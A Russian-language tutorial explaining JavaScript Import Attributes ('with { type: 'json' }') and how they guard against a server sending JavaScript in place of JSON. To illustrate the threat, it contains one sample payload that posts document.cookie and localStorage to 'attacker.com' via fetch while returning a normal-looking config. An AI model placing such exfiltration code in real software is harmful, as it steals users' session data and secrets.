JavaScript Import Attributes: Новый уровень контроля над импортами

Что такое Import Attributes?

Import Attributes представляет собой новый синтаксис, позволяющий указывать дополнительные метаданные при импорте модулей. Основная идея заключается в том, чтобы предоставить способ явного указания того, как следует обрабатывать импортируемый модуль. На текущий момент, февраль 2025 года, данная фича находится на 4-й стадии разработки и в скором времени будет добавлена в стандарт ECMAScript 2025. Новый синтаксис использует фигурные скобки с атрибутами после пути импорта и ключевое слово with. Выглядит это следующим образом:

import json from './data.json' with { type: 'json' };

В данном примере мы импортируем модуль json из файла data.json и явно указываем, что этот модуль является JSON.

Зачем это нужно?

Проблема может заключатся в безопасности. В веб-среде расширения файлов не являются надежным индикатором содержимого. URL-адрес, заканчивающийся на .json, фактически может содержать JavaScript.

// До появления Import Attributes
// Этот импорт может быть опасным
import apiConfig from './api-config.json';

// Ожидаемый конфиг
{
  "apiKey": "secret-key",
  "endpoint": "https://api.example.com",
  "timeout": 5000
}

// Что может отправить взломанный сервер вместо ожидаемого:
export default (function(){
  // Отправка ваших API ключей на взломщика
  fetch('https://attacker.com', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: window.localStorage
    })
  });

  // Возвращает что-то, выглядящее как нормальный конфиг
  return {
    apiKey: "secret-key",
    endpoint: "https://api.example.com",
    timeout: 5000
  }
})();

Как стало:

import json from './data.json' with { type: 'json' };

// Динамический импорт с указанием типа
const config = await import(
  `./config.${env}.json`,
  { with: { type: "json" }}
);

Import Attributes позволяет указать, как именно следует обрабатывать импортируемый модуль. Например, мы можем указать, что модуль является JSON, и тогда он будет автоматически парситься как JSON. Если сервер попытается отдать JavaScript вместо JSON, импорт завершится ошибкой. Это предотвращает выполнение вредоносного кода, который мог бы украсть данные. Самое непосредственное влияние это оказывает на импорты JSON, где безопасность имеет решающее значение.

С достyпностью в браузерах можно ознакомиться в caniuse.